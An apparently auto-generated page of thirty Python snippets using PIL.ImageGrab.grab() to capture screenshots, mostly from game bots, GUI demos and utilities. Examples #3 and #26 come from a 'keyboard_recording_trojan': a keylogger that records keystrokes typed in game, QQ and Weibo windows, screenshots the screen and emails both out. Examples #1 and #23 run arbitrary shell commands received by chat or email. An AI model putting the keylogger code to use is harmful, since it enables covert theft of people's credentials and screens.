Python PIL.ImageGrab.grab() Examples
The following are 30
code examples of PIL.ImageGrab.grab().
You can vote up the ones you like or vote down the ones you don't like,
and go to the original project or source file by following the links above each example.
You may also want to check out all available functions/classes of the module
PIL.ImageGrab
, or try the search function
.
Example #1
Source File: start.py From server_monitor_bot with MIT License | 8 votes |
def exec_command(update, context): command_text = update.message.text if(update.effective_chat.id in permitted_users): if(command_text[0] == "/"): if command_text == "/screenshot": filename = screenshot_location + "screenshot_%s.png" % str(update.effective_chat.id) logging.info("Sending screenshot") im = ImageGrab.grab() im.save(filename) photo = open(filename,'rb') context.bot.send_photo(update.effective_chat.id,photo) else: command = command_text.split() try: output = subprocess.check_output(command, cwd= curr_dir).decode('utf-8') logging.info("%s: %s", command, output) if output: context.bot.send_message(chat_id=update.effective_chat.id, text=output) else: context.bot.send_message(chat_id=update.effective_chat.id, text=update.message.text) except Exception as e: context.bot.send_message(chat_id=update.effective_chat.id, text=str(e)) else: context.bot.send_message(chat_id=update.effective_chat.id, text="You don't have permission to use this bot!")
Example #2
Source File: image_search.py From ultra_secret_scripts with GNU General Public License v3.0 | 7 votes |
def get_screen_area_as_image(area=(0, 0, GetSystemMetrics(0), GetSystemMetrics(1))): screen_width = GetSystemMetrics(0) screen_height = GetSystemMetrics(1) # h, w = image.shape[:-1] # height and width of searched image x1 = min(int(area[0]), screen_width) y1 = min(int(area[1]), screen_height) x2 = min(int(area[2]), screen_width) y2 = min(int(area[3]), screen_height) search_area = (x1, y1, x2, y2) img_rgb = ImageGrab.grab().crop(search_area).convert("RGB") img_rgb = np.array(img_rgb) # convert to cv2 readable format (and to BGR) img_rgb = img_rgb[:, :, ::-1].copy() # convert back to RGB return img_rgb
Example #3
Source File: keyboard_recording_trojan.py From keyboard_recording_trojan with MIT License | 6 votes |
def onKeyboardEvent(event): #监听键盘事件 global MSG title= event.WindowName.decode('GBK') #通过窗口的title,判断当前窗口是否是“监听目标” if title.find(u"魔兽世界") != -1 or title.find(u"英雄联盟") != -1 or title.find(u'QQ')!=-1 or title.find(u'微博')!=-1 or title.find(u'战网')!=-1: #Ascii: 8-Backspace , 9-Tab ,13-Enter if (127 >= event.Ascii > 31) or (event.Ascii == 8): MSG += chr(event.Ascii) if (event.Ascii == 9) or (event.Ascii == 13): #屏幕抓图实现 pic_name = time.strftime('%Y%m%d%H%M%S',time.localtime(time.time())) pic_name = "keyboard_"+pic_name+".png" pic = ImageGrab.grab()#保存成为以日期命名的图片 pic.save('%s' % pic_name) send_email(MSG,pic_name) ## write_msg_to_txt(MSG) MSG = '' return True
Example #4
Source File: util.py From WechatGameAutoPlayer with GNU General Public License v3.0 | 6 votes |
def check_location(): """得到截图并打开,以便观察 config 中设置是否正确""" if sys.platform == 'win32': from PIL import ImageGrab scr = ImageGrab.grab([loc['left_top_x'], loc['left_top_y'], loc['right_buttom_x'], loc['right_buttom_y']]) # scr.save('screenshot.png') scr.show() return scr elif sys.platform == 'linux': cmd = 'import -window root -crop {0}x{1}+{2}+{3} screenshot.png' cmd = cmd.format(loc['right_buttom_x'] - loc['left_top_x'], loc['right_buttom_y'] - loc['left_top_y'], loc['left_top_x'], loc['left_top_y']) os.system(cmd) scr = Image.open('screenshot.png') scr.show() return scr else: print('Unsupported platform: ', sys.platform) sys.exit()
Example #5
Source File: screenshot.py From terminaltables with MIT License | 6 votes |
def screenshot_until_match(save_to, timeout, subimg_candidates, expected_count, gen): """Take screenshots until one of the 'done' subimages is found. Image is saved when subimage found or at timeout. If you get ImportError run "pip install pillow". Only OSX and Windows is supported. :param str save_to: Save screenshot to this PNG file path when expected count found or timeout. :param int timeout: Give up after these many seconds. :param iter subimg_candidates: Subimage paths to look for. List of strings. :param int expected_count: Keep trying until any of subimg_candidates is found this many times. :param iter gen: Generator yielding window position and size to crop screenshot to. """ from PIL import ImageGrab assert save_to.endswith('.png') stop_after = time.time() + timeout # Take screenshots until subimage is found. while True: with ImageGrab.grab(next(gen)) as rgba: with rgba.convert(mode='RGB') as screenshot: count_found = try_candidates(screenshot, subimg_candidates, expected_count) if count_found == expected_count or time.time() > stop_after: screenshot.save(save_to) assert count_found == expected_count return time.sleep(0.5)
Example #6
Source File: main.py From SupervisedChromeTrex with MIT License | 6 votes |
def getmssimage(self): import mss with mss.mss() as sct: mon = sct.monitors[1] L = mon["left"] + self.X T = mon["top"] + self.Y W = L + self.width H = T + self.height bbox = (L,T,W,H) #print(bbox) sct_img = sct.grab(bbox) img_pil = Image.frombytes('RGB', sct_img.size, sct_img.bgra, 'raw', 'BGRX') img_np = np.array(img_pil) #finalimg = cv2.cvtColor(img_np, cv2.COLOR_RGB2GRAY) return img_np
Example #7
Source File: load_train_test_2.py From Clash-Royale-AI-Card-Tracker with Apache License 2.0 | 6 votes |
def generateTrainingImages2(): currentNumOfData = len(sorted(list(paths.list_images("generatedData/")))) print("[INFO] Type anything and press enter to begin...") input() startTime = time.time() i = 0 while (True): if (time.time()-startTime > 1): print("--------Captured Data--------") im = ImageGrab.grab() im.save("generatedData/input" + str(i+1+currentNumOfData) + ".png") i += 1 startTime = time.time()
Example #8
Source File: screenshot.py From colorclass with MIT License | 6 votes |
def screenshot_until_match(save_to, timeout, subimg_candidates, expected_count, gen): """Take screenshots until one of the 'done' subimages is found. Image is saved when subimage found or at timeout. If you get ImportError run "pip install pillow". Only OSX and Windows is supported. :param str save_to: Save screenshot to this PNG file path when expected count found or timeout. :param int timeout: Give up after these many seconds. :param iter subimg_candidates: Subimage paths to look for. List of strings. :param int expected_count: Keep trying until any of subimg_candidates is found this many times. :param iter gen: Generator yielding window position and size to crop screenshot to. """ from PIL import ImageGrab assert save_to.endswith('.png') stop_after = time.time() + timeout # Take screenshots until subimage is found. while True: with ImageGrab.grab(next(gen)) as rgba: with rgba.convert(mode='RGB') as screenshot: count_found = try_candidates(screenshot, subimg_candidates, expected_count) if count_found == expected_count or time.time() > stop_after: screenshot.save(save_to) assert count_found == expected_count return time.sleep(0.5)
Example #9
Source File: ScreenGrab.py From BiblioPixelAnimations with MIT License | 6 votes |
def _capFrame(self): img = grab(self.bbox) return np.array(img)
Example #10
Source File: client-test2.py From The-chat-room with MIT License | 6 votes |
def buttonCaptureClick(): # 最小化主窗口 root.state('icon') sleep(0.2) filename = 'temp.png' # grab()方法默认对全屏幕进行截图 im = ImageGrab.grab() im.save(filename) im.close() # 显示全屏幕截图 w = MyCapture(filename) sBut.wait_window(w.top) # 截图结束,恢复主窗口,并删除临时的全屏幕截图文件 root.state('normal') os.remove(filename) # 创建截屏按钮
Example #11
Source File: client-test.py From The-chat-room with MIT License | 6 votes |
def buttonCaptureClick(): # 最小化主窗口 root.state('icon') sleep(0.2) filename = 'temp.png' # grab()方法默认对全屏幕进行截图 im = ImageGrab.grab() im.save(filename) im.close() # 显示全屏幕截图 w = MyCapture(filename) sBut.wait_window(w.top) # 截图结束,恢复主窗口,并删除临时的全屏幕截图文件 root.state('normal') os.remove(filename) # 创建截屏按钮
Example #12
Source File: client.py From The-chat-room with MIT License | 6 votes |
def buttonCaptureClick(): # 最小化主窗口 root.state('icon') sleep(0.2) filename = 'temp.png' # grab()方法默认对全屏幕进行截图 im = ImageGrab.grab() im.save(filename) im.close() # 显示全屏幕截图 w = MyCapture(filename) sBut.wait_window(w.top) # 截图结束,恢复主窗口,并删除临时的全屏幕截图文件 root.state('normal') os.remove(filename) # 创建截屏按钮
Example #13
Source File: Demo_Save_Windows_As_Images.py From PySimpleGUI with GNU Lesser General Public License v3.0 | 5 votes |
def save_win(filename=None, title=None, crop=True): """ Saves a window with the title provided as a file using the provided filename. If one of them is missing, then a window is created and the information collected :param filename: :param title: :return: """ C = 7 if crop else 0 # pixels to crop if filename is None or title is None: layout = [[sg.T('Choose window to save', font='Any 18')], [sg.T('The extension you choose for filename will determine the image format')], [sg.T('Window Title:', size=(12, 1)), sg.I(title if title is not None else '', key='-T-')], [sg.T('Filename:', size=(12, 1)), sg.I(filename if filename is not None else '', key='-F-')], [sg.Button('Ok', bind_return_key=True), sg.Button('Cancel')]] event, values = sg.Window('Choose Win Title and Filename', layout).read(close=True) if event != 'Ok': # if cancelled or closed the window print('Cancelling the save') return filename, title = values['-F-'], values['-T-'] try: fceuxHWND = win32gui.FindWindow(None, title) rect = win32gui.GetWindowRect(fceuxHWND) rect_cropped = (rect[0] + C, rect[1], rect[2] - C, rect[3] - C) frame = np.array(ImageGrab.grab(bbox=rect_cropped), dtype=np.uint8) frame = cv2.cvtColor(frame, cv2.COLOR_BGR2RGB) cv2.imwrite(filename, frame) sg.cprint('Wrote image to file:', filename) except Exception as e: sg.popup('Error trying to save screenshot file', e, keep_on_top=True)
Example #14
Source File: functions.py From bot with MIT License | 5 votes |
def get_screen(x1, y1, x2, y2): box = (x1 + 8, y1 + 30, x2 - 8, y2) screen = ImageGrab.grab(box) img = array(screen.getdata(), dtype=uint8).reshape((screen.size[1], screen.size[0], 3)) return img
Example #15
Source File: screenshot.py From CuckooSploit with GNU General Public License v3.0 | 5 votes |
def take(self): """Take a screenshot. @return: screenshot or None. """ if not HAVE_PIL: return None return ImageGrab.grab()
Example #16
Source File: __init__.py From pyscreeze with BSD 3-Clause "New" or "Revised" License | 5 votes |
def _screenshot_win32(imageFilename=None, region=None): """ TODO """ # TODO - Use the winapi to get a screenshot, and compare performance with ImageGrab.grab() # https://stackoverflow.com/a/3586280/1893164 im = ImageGrab.grab() if region is not None: assert len(region) == 4, 'region argument must be a tuple of four ints' region = [int(x) for x in region] im = im.crop((region[0], region[1], region[2] + region[0], region[3] + region[1])) if imageFilename is not None: im.save(imageFilename) return im
Example #17
Source File: autoplay.py From WechatGameAutoPlayer with GNU General Public License v3.0 | 5 votes |
def get_screenshot(): if sys.platform == 'win32': from PIL import ImageGrab scr = ImageGrab.grab([loc['left_top_x'], loc['left_top_y'], loc['right_buttom_x'], loc['right_buttom_y']]) return scr elif sys.platform == 'linux': cmd = 'import -window root -crop {0}x{1}+{2}+{3} screenshot.png' cmd = cmd.format(loc['right_buttom_x'] - loc['left_top_x'], loc['right_buttom_y'] - loc['left_top_y'], loc['left_top_x'], loc['left_top_y']) os.system(cmd) scr = Image.open('screenshot.png') return scr else: print('Unsupported platform: ', sys.platform) sys.exit()
Example #18
Source File: screenshots.py From WechatGameAutoPlayer with GNU General Public License v3.0 | 5 votes |
def get_screenshot_linux_1(): ''' 不支持预选定area ''' im = pyscreenshot.grab()
Example #19
Source File: screenshots.py From WechatGameAutoPlayer with GNU General Public License v3.0 | 5 votes |
def get_screenshot_windows(): img = ImageGrab.grab([100, 100, 400, 400])
Example #20
Source File: run.py From Auto-Lianliankan with Apache License 2.0 | 5 votes |
def getScreenImage(): print('捕获屏幕截图...') scim = ImageGrab.grab() # 屏幕截图,获取到的是Image类型对象 scim.save('screen.png') return cv2.imread("screen.png") # opencv 读取,拿到的是ndarray存储的图像 # 从屏幕截图中识别
Example #21
Source File: YuHunModule.py From yysScript with Apache License 2.0 | 5 votes |
def GetScreenShot(): """ 获取屏幕截图 :return: """ screen = ImageGrab.grab() # screen.save('screen.jpg') # screen = cv2.imread('screen.jpg') screen = cv2.cvtColor(numpy.asarray(screen), cv2.COLOR_RGB2BGR) logging.info('截屏成功') return screen
Example #22
Source File: Demo_Save_Window_As_Image.py From PySimpleGUI with GNU Lesser General Public License v3.0 | 5 votes |
def save_element_as_file(element, filename): """ Saves any element as an image file. Element needs to have an underlyiong Widget available (almost if not all of them do) :param element: The element to save :param filename: The filename to save to. The extension of the filename determines the format (jpg, png, gif, ?) """ widget = element.Widget box = (widget.winfo_rootx(), widget.winfo_rooty(), widget.winfo_rootx() + widget.winfo_width(), widget.winfo_rooty() + widget.winfo_height()) grab = ImageGrab.grab(bbox=box) grab.save(filename)
Example #23
Source File: Email My PC.py From Email_My_PC with MIT License | 5 votes |
def processing(self, p, subject, content, addr): if tag_shutdown in subject: command = 'shutdown -s' subprocess.Popen('shutdown -s', shell=True) title = '成功执行关机命令!' send(smtpserver, smtpport, user, addr, passwd, title=title) if tag_screen in subject: pic_name = time.strftime('%Y%m%d%H%M%S',time.localtime(time.time())) pic_name = pic_name + '.jpg' pic = ImageGrab.grab() pic.save('%s' % pic_name) title = '截屏成功!' send(smtpserver, smtpport, user, addr, passwd, title=title, file_name=pic_name) if tag_cam in subject: pic_name = time.strftime('%Y%m%d%H%M%S',time.localtime(time.time())) pic_name = pic_name + '.jpg' cam[cam_no].getImage().save(pic_name) title = '拍照成功!' send(smtpserver, smtpport, user, addr, passwd, title=title, file_name=pic_name) self.trigger6.emit() if tag_button in subject: unrecognized = button_event(content) if unrecognized == '': title = '成功执行快捷键!' msg = '<p>已成功执行以下快捷键:</p><p>%s</p>' % content.encode("utf8") else: title = '存在无法识别的快捷键!' msg = '<p>您发送的快捷键为“%s”</p><p>其中快捷键“%s”无法识别</p>' \ % (content.encode('utf8'), unrecognized.encode('utf8')) send(smtpserver, smtpport, user, addr, passwd, title=title, msg=msg) if tag_cmd in subject: subprocess.Popen(content, shell=True) title = '成功执行CMD命令!' msg = '<p>已成功执行以下命令:</p><p>%s</p>' % content.encode('utf8') send(smtpserver, smtpport, user, addr, passwd, title=title, msg=msg) #主界面
Example #24
Source File: Demo_Save_Any_Window_As_Image.py From PySimpleGUI with GNU Lesser General Public License v3.0 | 5 votes |
def save_win(filename=None, title=None): """ Saves a window with the title provided as a file using the provided filename. If one of them is missing, then a window is created and the information collected :param filename: :param title: :return: """ C = 7 # pixels to crop if filename is None or title is None: layout = [[sg.T('Choose window to save', font='Any 18')], [sg.T('The extension you choose for filename will determine the image format')], [sg.T('Window Title:', size=(12,1)), sg.I(title if title is not None else '', key='-T-')], [sg.T('Filename:', size=(12,1)), sg.I(filename if filename is not None else '', key='-F-')], [sg.Button('Ok', bind_return_key=True), sg.Button('Cancel')]] event, values = sg.Window('Choose Win Title and Filename',layout).read(close=True) if event != 'Ok': # if cancelled or closed the window print('Cancelling the save') return filename, title = values['-F-'], values['-T-'] try: fceuxHWND = win32gui.FindWindow(None, title) rect = win32gui.GetWindowRect(fceuxHWND) rect_cropped = (rect[0]+C, rect[1], rect[2]-C, rect[3]-C) frame = np.array(ImageGrab.grab(bbox=rect_cropped), dtype=np.uint8) frame = cv2.cvtColor(frame, cv2.COLOR_BGR2RGB) cv2.imwrite(filename, frame) sg.popup('Wrote image to file:',filename) except Exception as e: sg.popup('Error trying to save screenshot file', e)
Example #25
Source File: Demo_Graph_Drawing_And_Dragging_Figures.py From PySimpleGUI with GNU Lesser General Public License v3.0 | 5 votes |
def save_element_as_file(element, filename): """ Saves any element as an image file. Element needs to have an underlyiong Widget available (almost if not all of them do) :param element: The element to save :param filename: The filename to save to. The extension of the filename determines the format (jpg, png, gif, ?) """ widget = element.Widget box = (widget.winfo_rootx(), widget.winfo_rooty(), widget.winfo_rootx() + widget.winfo_width(), widget.winfo_rooty() + widget.winfo_height()) grab = ImageGrab.grab(bbox=box) grab.save(filename)
Example #26
Source File: keyboard_recording_trojan.py From keyboard_recording_trojan with MIT License | 5 votes |
def onMouseEvent(event): # 监听鼠标事件 global MSG if len(MSG)!=0: pic_name = time.strftime('%Y%m%d%H%M%S',time.localtime(time.time())) pic_name = "mouse_"+pic_name+".png" pic = ImageGrab.grab() pic.save('%s' % pic_name)#将用户屏幕截图,保存到本地 send_email(MSG,pic_name) ## write_msg_to_txt(MSG) MSG='' return True
Example #27
Source File: hearthstone_auto.py From hearthstone_script- with MIT License | 5 votes |
def detect_and_return_probability(pix, x1, y1, x2, y2): time.sleep(1.3) img = ImageGrab.grab(bbox=(x1, y1, x2, y2)) # x1,y1,x2,y2 img_np = np.array(img) im1 = cv.imread(pix) hist1 = cv.calcHist([im1], [0], None, [256], [0, 256]) hist2 = cv.calcHist([img_np], [0], None, [256], [0, 256]) return cv.compareHist(hist1, hist2, cv.HISTCMP_CORREL) # 敌方嘲讽随从
Example #28
Source File: hearthstone_auto.py From hearthstone_script- with MIT License | 5 votes |
def detect_sneer(): img = ImageGrab.grab(bbox=(450, 300, 1470, 500)) img_np = np.array(img) img_canny = cv.Canny(img_np, 600, 900) template = cv.imread("images/canny.png", 0) res = cv.matchTemplate(img_canny, template, cv.TM_CCOEFF_NORMED) loc = np.where(res >= 0.3) return np.unique(loc[1]) # 我放随从
Example #29
Source File: hearthstone_auto.py From hearthstone_script- with MIT License | 5 votes |
def detect_my_attend(): img = ImageGrab.grab(bbox=(450, 490, 1470, 690)) img_np = np.array(img) img_in_range = in_range(img_np) template = cv.imread("images/range.png", 0) res = cv.matchTemplate(img_in_range, template, cv.TM_CCOEFF_NORMED) loc = np.where(res >= 0.5) return np.unique(loc[1])
Example #30
Source File: dino_chrome_bot.py From dino_chrome_bot with MIT License | 5 votes |
def capture_screen(): screen = ImageGrab.grab() return screen # Detects enemy by diff in pixel color in region of detections